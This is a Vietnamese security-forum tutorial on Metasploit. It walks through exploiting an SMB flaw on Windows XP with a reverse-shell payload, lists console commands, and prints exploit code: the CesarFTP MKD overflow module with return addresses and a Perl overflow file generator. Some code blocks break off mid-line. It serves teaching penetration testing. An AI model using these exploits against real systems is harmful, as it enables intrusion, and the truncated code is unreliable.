Giới thiệu Metasploit

ping

VIP Members
19/06/2013
57
101 bài viết
Giới thiệu Metasploit
I. Giới thiệu về MSF

1. MSF là gì?
MSF là một framework mã nguồn mở, ban đầu được phát triển với mục đích cung cấp các thông tin về các lỗ hổng bảo mật, hỗ trợ để thử nghiệm các xâm nhập hệ thống (penetration testing: pen-testing ). Ban đầu MSF được viết bằng ngôn ngữ Perl, nhưng từ phiên bản 3.0 trở đi MSF được viết lại toàn bộ bằng Ruby, và được bổ sung thêm các công cụ khác trong nghiên cứu bảo mật như các công cụ thu thập thông tin, fuzzing, scanner ..

2. MSF v3.3
Phiên bản mới nhất hiện nay là 3.3 hỗ trợ 421 exploit modules, 237 auxility modules, 195 payload modules

3. Cài đặt và giao diện
Download MSF tại địa chỉ: www.metasploit.com
Tương tác với MSF: Có 2 cách để làm việc với metasploit là thông qua giao diện console và qua giao diện web.
  • a. mfsconsole
  • b. Msfweb


II. Các chức năng chính của MSF

1. Exploits
Đây là chức năng chính của MSF, giúp ta thử nghiệm khai thác các lỗ hổng phần mềm. Mỗi một module cung cấp một phương thức khai thác, và được phân loại rõ ràng đối với từng hệ điều hành cũng như phiên bản phần mềm. Ta ví dụ khai thác một lỗi cụ thể. Từ giao diện web của MSF chọn Exploits
14908929091.jpg


Trong cửa sổ các Exploit modules, chọn một exploit ta muốn thử nghiệm khai thác. Ví dụ ở đây ta thử nghiệm khai thác lỗi Microsoft Server Service Relative Path Stack Corruption khá phổ biến của winXP SP2.

14908929092.jpg

Sau đó ta vào cửa sổ chọn target (phiên bản của hệ điều hành hoặc phần mềm mục tiêu mà ta muốn khai thác)
14908929093.jpg


Chọn target là Automatic Targeting (nếu không rõ phiên bản target). Tiếp theo là chọn shellcode(Payload) muốn chèn vào, chọn shellcode windows/shell_reverse_tcp

14908929094.jpg


Sau khi chọn shellcode ta vào chỉnh các thông số cho exploit.

14908929095.jpg


Thông thường ta chỉ quan tâm đến Standard Option. Đối với mã khai thác này ta có các Option:
RHOST: remote host - địa chỉ host mà ta muốn khai thác
RPORT: remote port - Exploit này được khai thác qua giao thức SMB, nên đây sẽ là cổng của SMB
EXITFUNC: cách kết thúc trong shellcode
LHOST: local host address
LPORT: local port
Ví dụ ở đây ta có ip của target cần thử nghiệm khai thác là 192.168.46.129

Các Adventure Option để mặc định. Sau khi điền đủ thông số vào các option yêu cầu, chọn Lauch Exploit để khai thác
Nếu thành công ta sẽ vào được cửa sổ command-line. Đánh lệnh ipconfig để kiểm tra

14908929096.jpg


Rõ ràng ở đây sau khi chạy mã khai thác ta đã chạy được chế độ cmd của target có ip là 192.168.46.128

2. Auxiliaries
Đây là chức năng mới được bổ sung từ phiên bản v3.0, bổ sung các module cho việc tìm kiếm, thu thập thông tin, thậm chí là dò tìm lỗ hổng (fuzzing) với các phần mềm.

3. Payloads
Cung cấp các mã khai thác với các tùy chọn về ngôn ngữ (Ruby, C++, …), cách mã hóa, cách thực thi, …

14908929097.jpg


Mỗi payload là một shellcode có tác dụng khác nhau. Ví dụ từ danh sách payloads ta chọn payload Windows Execute Command để tạo một shellcode được viết bằng ngôn ngữ C thực hiện lệnh calc trong DOS, sau đó kết thúc tiến trình

14908929098.jpg


Sau khi điền đầy đủ các options ta chọn Generate để tạo shellcode

14908929099.jpg


Kết qua ta nhận được một xâu (String) chứa mã hex của shellcode.

4. Console
Giao diện console của MSF
- Là giao diện cung cấp đầy đủ tất cả chức năng của MSF
- Hỗ trợ một số lệnh DOS
- Khởi động nhanh, tìm kiếm nhanh, hỗ trợ đánh lệnh thông minh bằng TAB

Một số lệnh hay dùng
  • o ping : lệnh DOS
  • o ? : giống help
  • o show : dùng để xem các module (ví dụ show exploits | show payloads |…) . Ngoài ra khi ở trong một exploits còn có show options, show targets, show advanced
  • o search xxx : tìm kiếm với pattern xxx
  • o info : xem thông tin chi tiết một module cụ thể
  • o use : sau khi quyết định dùng module nào ta sử dụng lệnh use để vào module đó
  • o connect ip_address port: kết nối tới một remote host, tương tự telnet, netcat
  • o set option value: thiết lập cấu hình cho các options và settings của module đang làm việc.
  • o check : kiểm tra xem target có thể bị khai thác với module hiện tại không. Chỉ sử dụng với các exploit có viết method check() trong source
  • o setg : thiết lập các giá trị cho các biến toàn cục. ví dụ :
  • setg LHOST 192.168.1.101
  • o exploit/run : sử dụng exploit cho exploit module, sử dụng run cho auxiliary module
  • o back : quay lại mode trên. Ví dụ :
  • msf auxiliary(ms09_001_write) > back
  • msf >
  • o resource file : chạy các lệnh được lưu trong file
  • o irb : chuyển sang chế độ ruby mode - cho phép thực hiện các lệnh như ruby
  • o sessions : xem các sessions đang được thiết lập
  • o session –i id : sử dụng session theo ID
  • o ---------------------------- CÁC LỆNH KHÁC --------------------------------
  • o banner : hiện các banner của metasploit
  • o color : bật tắt màu
  • o cd : thay đổi thư mục làm việc hiện tại
  • o exit : exit the console


5. Sessions
Hiện thông tin các phiên làm việc hiện tại.
Ví dụ trong khai thác lỗi Microsoft Server Service Relative Path Stack Corruption ở trên ta chọn payload là windows/shell_reverse_tcp (Connect back to the attacker, Spawn a piped command shell) thì khi thực hiện khai thác, shellcode sẽ tạo một đường ống lệnh với target (hay còn gọi là một session ). Khi đó ta có thể xâm nhập trở lại target bất cứ lúc nào mà không cần khai thác lại. Để xâm nhập lại ta chỉ cần chọn mục Session

149089290910.jpg


6. Options
Tùy chọn giao diện

7. About

III. Viết exploit cho MSF
1. Giới thiệu về ngôn ngữ Ruby
Là ngôn ngữ hướng đối tượng. Đặc điểm nổi bật nhất là Ruby không hỗ trợ các kiểu dữ liệu cơ bản, mà chỉ hỗ trợ các đối tượng bao kiểu dữ liệu cơ bản. ví dụ: Integer, String, Float, …
2. Cấu trúc một exploit trong MSF

Để hiểu một cấu trúc một exploit ta ví dụ mã khai thác của cesar ftp 0.99g

Mã:
#Chú thích bắt đầu với #
##
# $Id: cesarftp_mkd.rb 7853 2009-12-14 19:04:40Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

#Sử dụng thư viện framework core
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote  #Khai báo lớp Metasploit3 kế thừa lớp Msf::Exploit::Remote

     Rank = AverageRanking

#Do khai thác chương trình Cesar FTP qua giao thức FTP nên cần cài đặt module Msf::Exploit::Remote::Ftp
     include Msf::Exploit::Remote::Ftp

#Phương thức khởi tạo dùng để cài đặt các thông tin về lỗ hổng
     def initialize(info = {})
          super(update_info(info,    
    'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',   #Tên, hiển thị trong giao diện Web
    'Description'    => %q{   #Miêu tả về lỗi
        This module exploits a stack overflow in the MKD verb in CesarFTP 0.99g.
                
        You must have valid credentials to trigger this vulnerability. Also, you 
        only get one chance, so choose your target carefully.
    },
    'Author'         => 'MC',   #tên của tác giả lỗ hổng
    'License'        => MSF_LICENSE,   #loại License
    'Version'        => '$Revision: 7853 $',
    'References'     =>   #Các thông tin tham khảo về lỗ hổng
        [
            [ 'CVE', '2006-2961'],
            [ 'OSVDB', '26364'],
            [ 'BID', '18586'],
            [ 'URL', 'http://secunia.com/advisories/20574/' ],
        ],
    'Privileged'     => true,
    'DefaultOptions' =>
        {
            'EXITFUNC' => 'process',
        },
    'Payload'        =>
        {
            'Space'    => 250,   #Dung lượng tối đa cho shellcode
            'BadChars' => "\x00\x20\x0a\x0d",   #Các kí tự cấm trong shellcode
            'StackAdjustment' => -3500,   
        },
    'Platform'       => 'win',
    'Targets'        => 
                  #Danh sách các target và các địa chỉ trả về
        [
            [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
            [ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
            [ 'Windows XP SP2/SP3 English',    { 'Ret' => 0x774699bf } ], # jmp esp, user32.dl
            #[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
            #[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
            [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
        ],
    'DisclosureDate' => 'Jun 12 2006',
    'DefaultTarget'  => 0))
          end


#Phương thức check có thể có hoặc không, và sẽ được thực hiện khi gọi lệnh check trong MSF
#Thường dùng để kiểm tra target có thể khai thác được hay không
     def check
    connect
    disconnect    
    
    if (banner =~ /CesarFTP 0\.99g/)   #kiểm tra banner được trả về từ server
        return Exploit::CheckCode::Vulnerable   #server có thể khai thác
    end
        return Exploit::CheckCode::Safe   #server không khai thác được
     end
    

#Phương thức này được gọi khi thực hiện lệnh exploit trong MSF
     def exploit
    connect_login   #sử dụng hàm login FTP

    sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)  #bộ đệm
    sploit  Cấu trúc một exploit là :
•    header and some dependencies 
o    Some comments about the exploit module 
o    require ‘msf/core’ 
•    class definition 
•    includes 
•    “def” definitions : 
o    initialize 
o    check (optional) 
o    exploit 

[B]3.    Viết mã exploit với MSF[/B]
Ví dụ khai thác lỗ hổng phần mềm Easy Music Player v1.0.0.2
•    Tạo file PoC.wav

    [CODE]#!/usr/bin/perl
    my $A = "\x41" x 4500;
    my $Vidu = "Vidu";        
    open(myfile,'>> PoC.wav');
    print myfile $A.$Vidu;

• Thông tin lỗi

149089290911.jpg


Như vậy, mục đích của ta là sẽ viết một module exploit để MSF tự động tạo ra một file poc.wav mà khi được mở bởi Easy Music Player sẽ tự động thực thi đoạn shellcode mà ta mong muốn.

Đầu tiên ta điền vào mẫu mã khai thác các thông tin cơ bản vào trường info={}

Mã:
class Metasploit3 < Msf::Exploit::Remote
    #include 

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Easy Music Player v.1.0.0.2',   #tên
            'Description'    => %q{Buffer Overflow},   #miêu tả về lỗi
            'Author'         => 'mrDo',   #my nick name 
            'Version'        => 'v1.0.0.2', #phiên bản 
            'Payload'        =>   #thông tin này sẽ được sử dụng để tạo shellcode
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                },
            'Targets'        =>  
                [
                    [‘ Easy Music Player v1.0.0.2’, { 'Ret' => 0x10020758 } ],
                ],
            'DefaultTarget' => 0))
    end


#phương thức exploit
    def exploit
        ….
    end

end


Do exploit này sẽ tạo một file poc.wav nên ta sẽ sử dụng module Msf::Exploit::FILEFORMAT
include Msf::Exploit::FILEFORMAT

Trong quá trình phân tích lỗi ta có được xâu gây tràn stack không bị giới hạn bởi kí tự nào trừ kí tự 0x00 nên ta sẽ để trường ‘BadChars’ trong mục ‘Payload’ của hash info là “0x00”

Phương thức exploit là phương thức sẽ được gọi khi thực hiện lệnh exploit trong MSF. Ta sẽ viết phương thức đó như sau:
Mã:
    def exploit
        head= 'A'*1020   #tạo 1020 kí tự A
        head
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Rất hữu ích
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
em chỉ biết lấy code người ta về rồi đánh thôi, chứ nhìn vào đống code sợ loạn mất.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên